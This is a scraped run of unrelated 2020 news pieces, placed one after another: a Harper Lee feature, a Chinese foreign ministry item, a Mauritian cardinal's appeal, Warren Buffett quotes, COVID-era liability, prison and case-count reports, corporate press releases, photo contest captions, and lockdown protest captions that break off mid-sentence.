tomboy years in Monroeville. Her friendship with a young Truman Capote. Her years as a struggling writer in New York City. Her devotion to family, including her sister, Alice Lee, and her father, Amasa Coleman Lee, the inspiration for Atticus Finch. No one, not even Lee scholars, are under the illusion that they know everything about the author. She was much too reticent for that, much too practiced at avoiding the spotlight. In honor of Lee's birthday, however, we'd like to highlight a few pieces of information that have been uncovered in recent years, were revealed in her letters or simply made us go "Hmm." Here, then, are some things you might not know about Harper Lee. Don't Edit AL.com file photo FEAR FACTOR Alabama historian Wayne Flynt was one of Lee's closest friends in Alabama. In his 2017 book, "Mockingbird Songs: My Friendship with Harper Lee," Flynt offered his insights on Lee and her famously private life. Flynt also talked about the author, and her reticence for public attention, in a 2017 interview with The New York Times. "She stopped giving interviews in the 1960s and told Mr. Flynt that she typically vomited before speaking engagements so much so that she came up with a little pep talk, 'a mantra of great egotism,' to help alleviate the pressure," the Times story said. Also: "She described, Mr. Flynt said, one close encounter with a stalker who followed her from Birmingham to her home in Monroeville. That only cemented her fear for her safety, he said. 'She was obsessed with the idea of stalkers and assassination,' Mr. Flynt said. 'She was really afraid of being killed for the sake of someone elses neuroses.' Don't Edit ROBYN BECK//AFP/Getty Images NO NEEDLES, PLEASE Lee was a prolific correspondent, and kept up a steady stream of letters, thank-you notes, birthday cards and other communications to friends, family members and acquaintances. Six letters from the 1950s were donated to Emory University in Atlanta, and made public in 2018. In one of these letters, from 1956, the author talked about being a devoted caregiver for her ailing father. Still, there were limits to her ministrations, as she told Harold Caufield, a friend in New York City. "Sugar, I guess we all somehow rise to occasions: I've done more things for him that I never remotely thought I'd be called on to do for anybody," Lee wrote. "But I suppose there's truth in the adage that you don't mind it if they're yours. I sho' don't: you will discover that your Nelle Harper is a much less squeamish individual. But the one thing I don't think I'll get used to if I live to be 100 is a needle. They fed him through his veins for 10 days after he was stricken, and I gagged every time I saw him hooked up to that thing." Don't Edit Bruce Davidson/Magnum Photos PRECURSOR TO 'IN COLD BLOOD' Lee helped Capote to conduct research and do interviews for "In Cold Blood," his "nonfiction novel" about the 1959 murders of the Clutter family in Kansas. The book, published in 1966, required years of reporting and writing, and made Capote famous. However, Lee actually wrote about the Clutter case for a magazine article that was published more than five years earlier, according to biographer Charles J. Shields. (He's the author of "Mockingbird: A Portrait of Harper Lee," published in 2006 and updated in 2016.) Shields told the Atlanta Journal Constitution that Lee wrote a 2,000-word article, "Dewey Had Important Part in Solving Brutal Murders," for Grapevine, a magazine for members of the Society of Former Special Agents of the FBI. The piece was published in March 1960 without a byline, Shields said. Lee's article focused on Alvin A. Dewey Jr., a former FBI special agent who played a major role in the Clutter investigation. Dewey was a key figure in "In Cold Blood," as well. "Its a little unctuous, that piece, Shields said during a 2016 interview with the AJC. It was meant to curry favor with the folks on the ground there, particularly with Alvin Dewey. The article's publication also was meant to warn off anyone who was thinking about writing a book about the Clutter killings, Shields said. They were putting stakes in the ground, making it clear This is our turf, Shields said. Related content: Read ""Dewey Had Important Part in Solving Brutal Murders," which was reprinted by Smithsonian magazine in 2016. Don't Edit AL.com file photo TRUE-CRIME FASCINATION Lee worked on a true-crime project in the late 1970s, documenting a murder case in her home state. It involved a rather notorious figure in the Alexander City area, the Rev. Willie Maxwell, who was suspected of killing five people to cash in on insurance policies. Although Lee did substantial research for a book on Maxwell, it was never published. Casey Cep, a writer from Maryland who's become something of a specialist on Lee, focuses on Lee's efforts to research and write about the Maxwell case in a 2019 book, "Furious Hours: Murder, Fraud, and the Last Trial of Harper Lee." Along the way, Cep gained many insights into Lee's personality and writing habits. "Writing made her miserable, but she was not a miserable person," Cep said in a 2019 interview with AL.com. "She was vivacious and witty and clever. ... I hope, by the end of the book, that you feel she was a happier person than others thought she was. She is not an entirely tragic figure. Like all of us, she was a complicated person." Related content: Cep talks about her book in this Reckon Interview. Don't Edit Don't Edit AL.com file photo CAPS AND GOWNS Lee attended, but never graduated from, the University of Alabama School of Law (1945-1949). She contributed to student publications there, and was the editor of the Rammer Jammer. Lee received an honorary doctorate from the University of Alabama College of Arts and Sciences in 1990, due to her literary renown and the long-lasting impact of "To Kill a Mockingbird." She also picked up several other honorary degrees over the years, including one from Mobile's Spring Hill College in 1997 and the University of Notre Dame in 2006. In 2016, a petition was posted at Change.org, calling for UA's president to change the name of Morgan Hall to Lee Hall. It had 4,452 supporters when it was closed. The petition said: "Currently, the University of Alabama's Department of English is housed in Morgan Hall, named after John Tyler Morgan. Morgan was a general in the Confederate Army during the Civil War, and post-war, a six-term senator from the state of Alabama. He was also a Grand Dragon in the Ku Klux Klan, and used his legislative power to promote racist policies and practices. ... "Upon the death of Harper Lee, who attended the University of Alabama from 1945-1949, the University has an amazing chance to show our support for racial equality, as well as to honor the legacy generally of a woman who promoted kindness and empathy for all. Lee was doubtless the University's greatest contribution to literature, and it would be more than fitting for our English building to bear her name, which reflects so much more accurately the values of the University of Alabama, than that of white supremacist John Tyler Morgan." The building remains Morgan Hall. Don't Edit Terry Manier AUBURN? UM, NO Rick Bragg, an Alabama native and Pulitzer Prize-winning author, is among those who visited with Lee during her later years. "I never wanted to be one of those Southern writers who went to her doorstep and asked for an audience," Bragg said in a 2016 interview with AL.com, shortly after Lee's death. "I just didn't want to do that. I almost waited too late. "A few years ago, I was encouraged by some really smart people to go see her in her retirement community there in Monroeville. I walked in the room, and there's this little woman, who could have been my mom or one of my aunts, sitting on the edge of the bed. The room was real, real, real warm, which is how I understand how us older folks like it. Wayne Flynt and his wife were there. They walked out as we were walking in, and Ms. Lee leaned in real close to me and motioned me over and said, 'There go the only two people from Auburn I could ever stand.' I'm not star-struck much, but this is a woman whose work means more than most. I was kind of tongue-tied. I think I sounded like Jethro there in her presence. I'm so glad that I got to see her." Don't Edit Connor Sheets | csheets@AL.com 'CAN'T SEE, DRAT IT' Lee suffered from macular degeneration during her declining years. However. she was able to write a terse note of dismissal to an AL.com reporter in 2015, after he sent her a letter asking for an interview. Connor Sheets' letter was returned to him with a message scrawled at the bottom: "Go away!" and signed by Lee. "It appears that Nelle, as her friends call her, is very much with it, that she is still lucid and that her acerbic, press-averse side is fully intact," Sheets wrote in a column for AL.com. "Not only does the handwriting have the same careless curlicues and vague vowels of verified Lee signatures I've seen in the past, but it also expresses a sentiment similar to those she has directed in the direction of poky journalists for several decades." Apparently, Lee was candid about her declining eyesight -- at least, she was with family and friends. "Can't see, drat it," she wrote in a letter dated 2006 that was auctioned in 2016. "Blind is now a no-no word, like sin," she said in another letter, according to The New York Times. Don't Edit AP Photo/Kim Chandler WHERE SHE'S BURIED Lee shooed away rank-and-file admirers during her lifetime, but fans certainly can pay tribute to her memory. The author is buried at Hillcrest Cemetery on Pineville Road in Monroeville, at the Lee family plot. Soon after Lee's death, visitors began to leave small tributes at her gravesite, according to the Associated Press. "More than two dozen small pebbles had been placed on the Lee family headstone," an AP story said in 2016. "A fresh carnation was tucked beside the wilting spray of red and white funeral flowers and someone had drawn hearts and messages in the sandy dirt atop her grave. 'Scout I misses you,' was written in the dirt." Related content: "In search of Harper Lee," an article by the late Kathy Kemp, provides an insightful look at the author and details the reporter's encounter with Lee on her doorstep. WHO may help probe US govt's response to COVID-19: Chinese FM Global Times Source:Global Times Published: 2020/4/27 18:03:40 Amid tremendous doubts in the US over the US government's inefficient anti-epidemic measures, Chinese Foreign Ministry Spokesperson Geng Shuang urged the US government to respond to US people's concerns timely and called for the World Health Organization to start a probe into related issues at a press conference on Mon-day. Doubts have emerged from inside the US regarding when the epidemic started in the US, what the US government had hidden, and why they so urgently try to scapegoat other countries and international organizations for the pandemic, Geng said. The US side should address the concerns of their own people and the international community and the WHO can also help probe these issues, Geng said. Geng's remarks came amid US media's tremendous reports recently doubting the US government's anti-epidemic policy. He stressed that infectious diseases are mutual enemies for the mankind, that both China and the US are victims, and only unity and cooperation among the international community could overcome them. China hopes the US could hold an open, transparent and responsible attitude, and launch practical measures to safeguard US people's life and health and work together with the international society to sustain global public health, Geng said. For example, on April 21, Los Angeles Times reported that the first COVID-19 death occurred on February 6, citing local public health officials, which was nearly one month earlier than the first death case officially confirmed by the US CDC. The report also said that local officials claimed that the earliest COVID-19 infections in California probably happened in December 2019. On April 13 and 19, at White House press briefings, CBS and CNN reporters sepa-rately questioned why the US government had not launched measures in a timely manner if they had known the pandemic would spread globally. On April 14, The Atlantic website released an article claiming that inefficient policies of the US are the main reasons for the outbreak in the US. On April 4, the Washington Post released an investigative report on the US' poor re-sponse in the early stages of the pandemic. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Mauritius Cardinal Maurice E. Piat has published a letter and recorded a video message as part of a fundraising campaign for the local Church and its charities. Paul Samasumo Vatican City In his letter and video message, Cardinal Maurice Piat, who is the Bishop of Port-Louis in Mauritius, speaks about the socio-economic consequences of COVID-19 on the Island nation of the Indian Ocean. The magnitude of the situation is yet to be seen, says the Cardinal. He has welcomed several initiatives being undertaken to support Mauritians in precarious situations. Parishes experiencing a shortfall of funds Following the closure of Churches on 20 March due to COVID-19, several people have asked what they can do to help the Church. Indeed, the (financial) shortfall in the parishes is high because they no longer have an income from the (various) pursuits, self-supporting activities, Mass Intentions, and other donations, writes the Cardinal. He has told the faithful that parishes depend on this income to pay their staff and manage current costs. Besides, the Stay at Home order placed a tremendous financial burden on many families who rely on the informal and formal sector for survival, the Cardinal said. He further asserts that worse-off are those who have lost jobs, reads the letter obtained by Vatican News. Towards a society of high solidarity The Cardinal in his letter continues, This is why I appeal to the generosity and solidarity of parishioners to support their parishes and parish services meant for the poorest, he said. In the video message, the Cardinal says, in these difficult times of the COVID-19 crisis, Mauritians would do well to move from a society focused on high income to a society of high solidarity. Preparations for post-COVID-19 Cardinal Piat also disclosed that the local Caritas is collaborating on a platform, created by various organisations and institutions, assessing the current emergency, and are preparing to cushion the post-COVID-19 impact. Concluding the letter, the Port Louis prelate affirms, You have always responded generously to our call, and I thank you very much. Warren Buffett is widely acknowledged as the worlds greatest investor. The CEO of Berkshire Hathaway (BRK-A, BRK-B) has a knack for identifying winning businesses and he is also quite the philosopher, earning him the nickname the Oracle of Omaha. With a net worth of about $74 billion, he is the fourth richest person in the world according to Bloomberg. And so, when Buffett speaks, people listen. Read more: Warren Buffett: Lessons from a legendary investor Through his letters, essays, op-eds and TV appearances, Buffett shares folksy, funny, plainspoken advice on investing, management, life and everything in between. On Saturday May 2, Buffett will share more wisdom at the 2020 Berkshire Hathaway Annual Shareholder Meeting. Unlike previous years, shareholders will not attend the event in person, but investors of all ovr the worlld can watch the event stream live on Yahoo Finance. Heres a look back at 25 of Buffetts best quips, tips, and adages the editors of Yahoo Finance dug up from meeting transcripts, shareholder letters, and interviews. 1. Invest in companies you believe in. It's far better to buy a wonderful company at a fair price than a fair company at a wonderful price. Letter to shareholders, 1989 2. Price and value arent always the same: Dont pay too much. Price is what you pay. Value is what you get. Letter to shareholders, 2008 3. Reputation is everything. It takes 20 years to build a reputation and five minutes to ruin it. If you think about that, you'll do things differently." CNBC, 2017 4. Be skeptical. If something looks too good to be true ... A simple rule dictates my buying: Be fearful when others are greedy, and be greedy when others are fearful. The New York Times, Oct. 16, 2008 5. Dont invest in something you dont understand. The important thing is to know what you know and know what you dont know. Haaretz, March 23, 2011 6. Dont do a deal with someone you dont trust. You cannot make a good deal with a bad person. Interview with CNBC, 2019 Story continues Philanthropist Warren Buffett is joined onstage by 24 other philanthropist and influential business people featured on the Forbes list of 100 Greatest Business Minds during the Forbes Media Centennial Celebration at Pier 60 on September 19, 2017 in New York City. (Daniel Zuchnik/WireImage) 7. Easy peasy. Dont buy a stock unless you think its undervalued. Just buy something for less than its worth. Lecture to Notre Dame faculty, 1991 8. Price dips are a good chance to increase your positions. Whether were talking about socks or stocks, I like buying quality merchandise when it is marked down. Letter to shareholders, 2009 9. The future is never clear. Uncertainty actually is the friend of the buyer of long-term values. Forbes, Aug. 6, 1979 10. Its usually the buyer who encounters unpleasant surprises. As in the case with marriage, business acquisitions often deliver surprise after the I dos. Letter to shareholders, 2016 11. Ignore short-term movement in stock prices. Buffett is a firm believer that everyday investors park their money in index funds rather than in individual stocks. Wall Street makes its money on activity. You make your money on inactivity. Colloquium at the University of Florida, Oct. 15, 1998 12. Use a bucket not a spoon. Every decade or so, dark clouds will fill the economic skies, and they will briefly rain gold. Letter to shareholders, 2016 13. Seize an opportunity while you can. Dont pass up something thats attractive today because you think you will find something better tomorrow. Speech at Columbia University, Nov. 12, 2009 14. Cool heads prevail. The sillier the markets behavior, the greater the opportunity for the businesslike investor. Preface, The Intelligent Investor, 2003 15. Its during hard times that the winners and losers get exposed. You only learn who has been swimming naked when the tide goes out. Letter to shareholders, Feb. 2003 16. Read and think A LOT. Buffett spends the majority of his day 80% reading and thinking. The best way to think about investments is to be in a room with no one else and to just think. If that doesnt work, nothing else is going to work. Colloquium at the University of Florida, Oct. 15, 1998 17. Buffett has long said it doesnt take a high IQ to be successful in business knowledge is more valuable. What we do is not beyond anyone elses competence. I feel the same way about managing that I do about investing: Its just not necessary to do extraordinary things to get extraordinary results. Fortune, April 11, 1988 18. Despite his immense success, Buffetts still made some bad bets over the years. Nevertheless, he stays focused: Rule No. 1 is never lose money. Rule No. 2 is never forget Rule No. 1. Fortune, Feb. 6, 2017. 19. Keep this in mind If youre looking for a board position: When seeking directors, CEOs dont look for pit bulls. Its the cocker spaniel that gets taken home. Letter to shareholders, 2019 20. The most important quality for an investor is temperament, not intellect. If you want to work at Berkshire, you need integrity, intelligence and energy. Our experience with newly-minted MBAs has not been that great. ... Its difficult to teach a new dog old tricks. Letter to Shareholders, 1988 21. Buffett is a big believer in America. Dont bet against American ingenuity. Its always been a mistake to bet against America, since 1776. CNBC, 2011 22. With the exception of loving his private jet, Buffett is famously frugal and has lived in the same house since 1958. I have every possession I want. I have a lot of friends who have a lot more possessions. But in some cases, I feel the possession possesses them, rather than the other way around. CBS News, Feb. 8 2012 23. Buffett wants his three children to make their own contributions to society. A very rich person should leave his kids rich enough to do anything but not enough to do nothing. Fortune, June 25, 2006 24. From a letter promising to give away more than 99% of his wealth to philanthropic causes during his lifetime or at his death ... My wealth has come from a combination of living in America, some lucky genes, and compound interest. The Giving Pledge, 2006 25. A persons best asset is him or herself. Your best investment is yourself. There is nothing that compares to it. Georgia Tech alumni magazine, 2013 As companies start planning their reopenings, business groups are pushing Congress to limit liability from potential lawsuits filed by workers and customers infected by the coronavirus. They appear to have the White House's ear. President Donald Trump has floated shielding businesses from lawsuits. His top economic adviser Larry Kudlow said on CNBC last week that businesses shouldn't be held liable to trial lawyers putting on false lawsuits that will probably be thrown out of court." He said the issue could require legislation, and Senate Majority Leader Mitch McConnell said Monday that the issue would be a priority when lawmakers return. At issue is how to balance protecting businesses from lawsuits that could distract them and even lead to financial ruin, while also enabling justice for customers and workers who in a time of rapidly rising unemployment may not have the option of leaving their jobs for something safer. If there is no liability on the part of employers without a set of rules by which employers have to abide by, then that means you can have a wild wild west," said Kent Swig, president of Swig Equities, LLC, a privately owned real estate investment and development company. You have to have a balance," he added, and you have to have rules and regulations. Swig says he's planning measures like one-way lanes in public corridors in the lobbies and plexiglass dividers in offices at his properties. But he's seeking national guidelines as well. Linda Kelly, general counsel at the National Association of Manufacturers, said her trade group is not trying to protect bad actors, and we are also not saying that liability should be completely eliminated." Rather, she said, the group believes there should be a higher standard in place in order to impose legal liability and that employers who are doing the best that they can with the knowledge they have should not be subject to legal liability. The debate comes as lawsuits are already starting to surface. The cruise industry is facing a slew of complaints, including in California and Florida. A family of a Walmart worker who died of complications from COVID-19 sued the company, accusing managers of a Chicago-area store of not doing enough to protect its workers. Walmart said it's taken various steps, including extra cleaning measures and requiring workers to wear masks. We take this issue seriously and will respond as appropriate with the court," Walmart said in a statement to The Associated Press. The American Federation of Government Employees, which represents health care workers at veterans hospitals and correctional officers at federal prisons, alleged in a class action suit that the federal government had not offered enough protective equipment. The grocery industry is similarly a ripe target for lawsuits as it confronts pressure from unions like the United Food and Commercial Workers International Union, which has 900,000 members nationwide and has publicized that about 30 grocery workers have died from COVID-19. Amazon, the nation's largest online company, faces rising unrest among workers and pressure from an organized coalition of labor-backed groups. "If the administration is not willing to hold giant corporations like Amazon and Walmart accountable to protect workers during this pandemic, they will be putting millions of American workers and families at risk, UFCW president Marc Perrone said in a statement. That worries business owners like Scott Nash, CEO of MOM's Organic Market, which operates 19 stores in the mid-Atlantic region. Nash said some degree of immunity for businesses is needed given the highly charged atmosphere. He said his business has been attacked by some customers who verbally abuse workers. And some workers are making what he calls unreasonable demands like hazard pay even though he's already provided several rounds of temporary pay bumps. We want immunity from masses who cant manage their anxiety and opportunist lawyers, and not to mention unions who are taking advantage of the situation, Nash said. We are under a lot of stress." There's no question Congress is empowered to regulate interstate commerce and has the authority to shield certain classes of businesses and people from liability something it has done before, said Sachin Pandya, a University of Connecticut law professor with expertise in workplace law. In fact, lawmakers in the recently enacted $2 trillion coronavirus rescue bill prevented, with some exceptions, volunteer health care workers from being held liable for harm caused by acts or omissions during the pandemic response. But, Pandya added, The hard part would be identifying what exactly would be the type of business activity which would qualify for this kind of immunity. Is it everything? Is it customer-facing services? They have to sort of figure out the scope of the immunity. Though it's likely difficult for anyone to link an illness to a particular companys business activities, there are nonetheless fairness questions if potential plaintiffs are denied compensation from a place that can be shown to be responsible for their injury, Pandya said. And when it comes to companies, Pandya noted, It is also important to give businesses a reason to invest the time and effort to put into place all reasonable precautions to reduce the risk of contagion. Anthony Sebok, a professor at Cardozo School of Law, said if Congress did shield companies from lawsuits, they have to come up with, I think, an adequate substitute for the tort rights they are replacing. That could theoretically include a government fund that people could seek compensation from, similar to one created for victims of the Sept. 11 attacks. If Kudlow wants to give blanket immunity to a restaurant chain, Sebok added, I think the right way to do it would be to come up with an equivalent like weve done in the past. But J.H. (Rip) Verkerke, a University of Virginia law professor, sees no evidence of such a fund thus far. This looks to me more like, Lets get rid of liability, Verkerke said. And eliminating liability, he warned, could be constitutionally suspect. MORE ON CORONAVIRUS Cuomo on reopening after coronavirus: Keep hospital beds free, transmission rate low 1000s of free masks; legions of tests; why did town of Onondagas cases double in a week? HBO to feature Liverpool lacrosse companys role in coronavirus fight Dunkin to give out free coffee and donuts to healthcare workers for National Nurses Day Santiago: The spreading spectre of the new coronavirus is shaking Latin America's notoriously overcrowded, unruly prisons, threatening to turn them into infernos. Inmates wearing masks are crammed into the central area of Izalco prison in San Salvador, El Salvador, during a security operation. Credit:AP The Puente Alto prison in downtown Santiago, Chile, has had the largest of Latin America's largest prison virus outbreaks so far, with more than 300 reported cases. The prison's 1100 inmates are terrified. Social distancing is hard to practise in jail. "They are all in contact with each other," said prison nurse Ximena Graniffo. Any efforts at reducing contact were blown away in El Salvador over the weekend when authorities crammed prisoners - albeit wearing masks - tightly together in yards while searching their cells. President Nayib Bukele ordered the crackdown after more than 20 people were murdered in the country on Friday and intelligence suggested the orders came from imprisoned gang leaders. LAVAL, Quebec, April 28, 2020 /PRNewswire/ -- Bausch Health Companies Inc. (NYSE/TSX: BHC) ("Bausch Health" or the "Company") today announced the Company is providing a presentation (the "2020 Annual Meeting of Shareholders") on its business during the Company's annual meeting of shareholders on April 28, 2020. The presentation will be available on Investor Relations section of the Bausch Health website. The Company has filed a Form 8-K this morning, annexing the 2020 Annual Meeting of Shareholders presentation. About Bausch Health Bausch Health Companies Inc. (NYSE/TSX: BHC) is a global company whose mission is to improve people's lives with our health care products. We develop, manufacture and market a range of pharmaceutical, medical device and over-the-counter products, primarily in the therapeutic areas of eye health, gastroenterology and dermatology. We are delivering on our commitments as we build an innovative company dedicated to advancing global health. More information can be found at www.bauschhealth.com. SOURCE Bausch Health Companies Inc. Related Links http://www.bauschhealth.com Isabellenhutte expands its international network Fujitsu Electronics Europe (FEEU) is now a global distribution partner for standard products in the area of passive components for Isabellenhutte Heusler. Isabellenhutte, one of the leading manufacturers of low-ohmic precision and power resistors, has entered into a distribution partnership with Fujitsu Electronics Europe. Fujitsu?s role is to distribute standard products world-wide, acquiring and advising potential customers with its own operations. Anton Roth, Global Sales Director for Components at Isabellenhutte, explains: ?With this distribution partnership we can expand the global coverage of our customers. By doing so we can use individual on-location consultation to include customers whose development sites are different from their production sites. This way we can ensure that the decision pathways are kept short.? If, for example a customer?s development is in Europe, but their production takes place in Asia, the distribution partner Fujitsu Electronics Europe will provide technical consultation to the customer in Europe during the development phase and then also ensure on-location consultation through its affiliates in Asia. Anton Roth: ?We have a seamless chain and can follow a project on a global scale.? Further Fujitsu locations to follow After starting with an agreement with Fujitsu Electronics Europe, more contracts will be signed shortly with the further Fujitsu locations in America, Korea, Shanghai and the head company in Japan. With this step Isabellenhutte advances its global network and ensures a streamlined organization and simplified handling of international orders. The customers benefit from closer consultation throughout the value-added chain. West Bengal reported two more COVID-19 fatalities on Tuesday, raising the death toll due to the deadly virus in the state to 22, Chief Secretary Rajiva Sinha said. The top state bureaucrat said 28 new cases of COVID-19 have emerged from Kolkata, Howrah, North 24 and South 24 Parganas and Hooghly districts. Till Tuesday, 663 people in West Bengal were infected with coronavirus, he said. The Union health ministry, however, put the figure at 697. The total number of active cases is 522 and 119 people have been discharged so far, Sinha said. Elaborating about the treatment of patients with mild COVID-19 symptoms and cases of Severe Acute Respiratory Syndrome, at home, he said, "At home quarantine, they must be alert and have a 24x7 care giver. The patients must reside in a house where they can stay independently without mixing with any other family member." The West Bengal government on Monday said primary or secondary contacts of COVID-19 patients can be placed under home quarantine, provided they have "reasonable living and physical spaces" and adhere to social distancing norms. Sinha said the list of containment zones in the state was "dynamic" and added that as on Tuesday, there were 227 such zones in Kolkata Municipal Corporation (KMC) areas, 56 in Howrah, 57 in North 24 Parganas and 8 in Purba Midnapore. "We hope that in the next couple of days, Kalimpong and Jalpaiguri may come out of the orange zone into the green zone if there are no reports of any new cases from these places," he said. The chief secretary reiterated that the state government has made adequate arrangements at state-run hospitals to treat COVID-19 patients. "We have requested all private hospitals to set up isolated areas... Anybody can go to private hospitals. But, I would like to stress that we are totally prepared, and if you do not get admission in private hospitals, then we welcome them as we have ample number of beds to accommodate such patients in the four hospitals in Kolkata," Sinha said. He also said that 21 health workers, who were undergoing treatment for COVID-19, have received Rs 1 lakh each under the state government's insurance policy. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Advertisement These stunning photos serve as windows into contrasting and intriguing worlds within our world - from a fog-shrouded desert to a riot-torn city and from a gun-toting suburban American household to monkeys in a hot spring. They are among the 40 winning and commended images in the prestigious photography contest All About Photo Awards 2020 - The Mind's Eye, which is now in its fifth year. American Monica Denevan was named Photographer of the Year for her shot showing a young man on the front of a small boat crossing a river in Myanmar. Another powerful snap, taken by Gabriele Galimberti from Italy, captures a young woman in Florida standing in the street proudly showcasing the 22 firearms she owns. The photo secured her second place overall. The judging panel, which included renowned photographer and UN Ambassador for the environment Laurent Baheux, had the tough job of sifting through an 'extremely high calibre of photographs from around the world' with 'beautiful and soothing images' being their preference in a bid to 'escape the terrible events that are happening in the world right now'. Scroll down to see 16 of the winning images with the full selection available to view at www.all-about-photo.com via photopublicity.com... This shocking (to some) image secured Gabriele Galimberti from Italy the runner-up spot. Called 'Ameriguns', it shows Avery Skipalis, 33, standing outside her house in Tampa, Florida, showcasing the 22 guns she owns. Galimberti said: 'In the States there are more guns than people. [There are] 120.5 registered firearms for every 100 residents and the statistic doesnt count not-registers firearms. As a European, I started wondering if owning many weapons by a single person or family is a common habit in the U.S. I traveled across the U.S and created a series of 45 portraits of families or single individuals, including all races and beliefs, together with their firearms' The above photo by Kosuke Kitajima got a Particular Merit Mention. The Japanese photographer caught affectionate monkeys in a hot spring and said they 'had various expressions, like a person' Nadia De Lange was awarded fourth place overall with this shot showing fog dancing across the Namib Desert. The photographer, from Switzerland, says there is more life in the desert than most people realise 'thanks to the wonderful miracle of fog'. She explains: 'The clouds that roll in from the Atlantic Ocean bring with them moisture that sustains the fauna and flora living in this beautiful, harsh landscape' American Monica Denevan was named the overall winner and Photographer of the Year for her shot showing a young man on the front of a small boat crossing a river in Myanmar. It is part of the photographer's series titled Songs of the River: Portraits from Burma Alain Schroeder from Belgium got a Particular Merit Mention for this shot showing efforts to save orangutans in Indonesia. He captioned the shot: 'At dawn, veterinarian Pandu crosses the Krueng Aceh river in a small boat carrying Diana, an eight-year-old female orangutan, for a final release' Amos Chapple, one of MailOnline Travel's favourite photographers, said of this shot: 'It looks like the darkness of evening, but this is 14:25 in the afternoon during the long polar night in Russia's arctic capital city Murmansk.' The photographer, from New Zealand, was awarded a Particular Merit Mention for this image, which was shot using an iPhone 11 Chin Leong Teo landed a Particular Merit Mention for this incredible underwater shot of a Wallace's Flying Frog coming up for air. The Japanese photographer said: 'The Wallace's Flying Frog is a moss frog found in Malaysia and western Indonesia. It is generally quite photogenic given its large size, brilliant colours and calm temperament. This is a shot taken of a specimen swimming in water, with full extension of its beautiful long legs' Dotan Saguy from the U.S titled this striking shot taken on Venice Beach in Los Angeles 'Hello Sunshine' and scored a Particular Merit Mention. Explaining the image, he said: 'Jenna carefully watches two giant boa constrictors that their owner - a street performer she barely knows -entrusted to her. She is careful to keep the snake wrapped around exercise bars to prevent a wound in the animal's mouth from touching the sand and getting infected. Jenna is a single mom on disability. She suffers from failed back surgery syndrome, acquired from a violent car accident she had as a teenager. She and her young son Jackson can be found most afternoons on the beach' This powerful action shot, titled Break Away and taken by Australian photographer Tony Beck, landed a Particular Merit Mention. It shows a rider midair as he falls off a bull at a rodeo event in Taralga, New South Wales Tomas Neuwirth from the Czech Republic took this mesmerising shot of a small square cemetery blanketed in snow during winter. It is located outside a village named Rejviz in the Jeseniky Mountains. The image got a Particular Merit Mention Zay Yar Lin from Myanmar took this beautifully-lit photo while travelling in Mongolia and got a Particular Merit Mention. It shows eagle hunting elders training a child at a hill near Bayan Olgii. Yar Lin notes: 'There are an estimated 250 eagle hunters in Bayan-Olgii, which is located in the Altai Mountains of western Mongolia. They maintain the ancient practice of hunting with golden eagles on horseback, and they primarily hunt red foxes and corsac foxes' Go Nakamura from the U.S immersed himself in the action to capture this scene showing anti-government protesters in Hong Kong in a fog of teargas and using umbrellas, gas masks and goggles to protect themselves. He explained that riot police deployed the gas during a confrontation outside the Central Government Complex on September 15, 2019. The judges gave Nakamura a Particular Merit Mention Rory Doyle from the U.S. titled this candid photo The Newest Cowboy in Town. It shows newborn Jestin Brown being held by his father, Jessie Brown, at their home in Cleveland, Mississippi. Doyle, who got a Particular Merit Mention, says: 'This image is part of my ongoing project about the overlooked subculture of African American cowboys and cowgirls in the rural Mississippi Delta. Historians agree that just after the Civil War, one in four cowboys were African American. Yet this population was drastically underrepresented in popular accounts, and it is still' Virginia native Rebecca Moseman came third with this eye-catching photo of a young girl shot in black and white. The photographer captioned the image: 'A little Irish traveller girl looks out of her family car before going home to her family's Illegal encampment [in Ireland]'. Ms Moseman's advice for aspiring photographers? 'Avoid having too large an ego, and don't be afraid to fail. Remember you will continue to grow and learn from other people and different situations,' she told all-about-photo.com Nicole Cambre from Belgium titled this bustling scene The Jump of the Wildebeest. The photo landed her fifth place. Cambre took the jaw-dropping image showing the annual migration of the wildebeest while travelling through Tanzania. Commenting on the shot, she said: 'This wildebeest did not wait for its turn and jumped on top of the others' The Congress on Tuesday claimed Goa Chief Minister Pramod Sawant "examined" patients in a government hospital on his birthday on April 24 and said the act was "irresponsible". Sawant is a private Ayurveda practitioner and had visited a district hospital in Mapusa on April 24. "Chief Minister Pramod Sawant examining patients at Government Asilo Hospital in Mapusa on the occasion of his birthday on April 24 was an irresponsible act. He is not a government doctor. By doing this, he has crossed all limits of morality and must step down," said Goa Congress spokesperson Amarnath Panjikar. "Sawant himself had told the media earlier that he had not practiced for the past 10 years. There must be an inquiry into who allowed him to examine patients, write prescriptions, check X-ray reports etc when he is not a government doctor," Panjikar added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In these times, the sight of a public gathering of hundreds of people mostly without face masks is alarming. But that is exactly what is happening across the United States, as groups of Americans are taking to the streets in protest of lockdown orders aimed at limiting the spread of Covid-19. Those taking to the streets say that the stringent measures restricting movement and businesses are unnecessarily hurting citizens. Protesters say the stay-at-home measures imposed by state governments to control the spread of Covid-19 are an overreaction. Some have also come bearing firearms as gun rights groups have been among the organisers, citing infringements on civil liberties. Some also say keeping these restrictions in place too long will cause long-term damage to local economies. Take a look. Protestors hold banners and chant against state government measures intended to defend against the COVID-19 virus during an Open California rally in San Diego, California. San Diego County is lifting some ocean restrictions, including for swimmers, surfers, paddle-boarders and kayakers, but boating will remain off limits while piers, boardwalks and parking lots at beaches will stay closed, according to published reports. Photograph: Sean M Haffey/Getty Images A protestor holds a sign against state government measures intended to defend against the COVID-19 virus during an Open California rally in San Diego, California. Photograph: Sean M Haffey/Getty Images A fisherman takes part in a Lake Washington "Let Us Fish" protest and rally on Lake Washington in Seattle, Washington. The group is protesting Washington Department of Fish and Wildlife regulations and Governor Inslees Stay Home, Stay Healthy order during the COVID-19 pandemic. Photograph: David Ryder/Getty Images A woman holds a sign as family and people concerned about the safety and health of prison inmates during the coronavirus disease outbreak protest outside the Washington state capitol as efforts continue to slow the spread of coronavirus disease in Olympia, Washington. The protest of the stay-at-home order echoed similar demonstrations sweeping across statehouses around the nation. Photograph: Jason Redmond/Reuters Protestors gather outside the El Paso County Court House during a rally calling for the reopening of El Paso and Texas. Photograph: Cengiz Yar/Getty Images Protestors gather outside the Louisiana state capitol during a rally against Louisiana's stay-at-home order and economic shutdown in Baton Rouge, Louisiana. Governor John Bell Edwards has said Louisianas high rate of COVID-19 infections and deaths does not position the state to quickly open back up. Photograph: Chris Graythen/Getty Images The Louisiana protesters mentioned they are aware of the health risks that could come with reopening the economy too soon, but they say the financial risk with not opening is far greater. Photograph: Chris Graythen/Getty Images A protester against the state's extended stay-at-home order to help slow the spread of 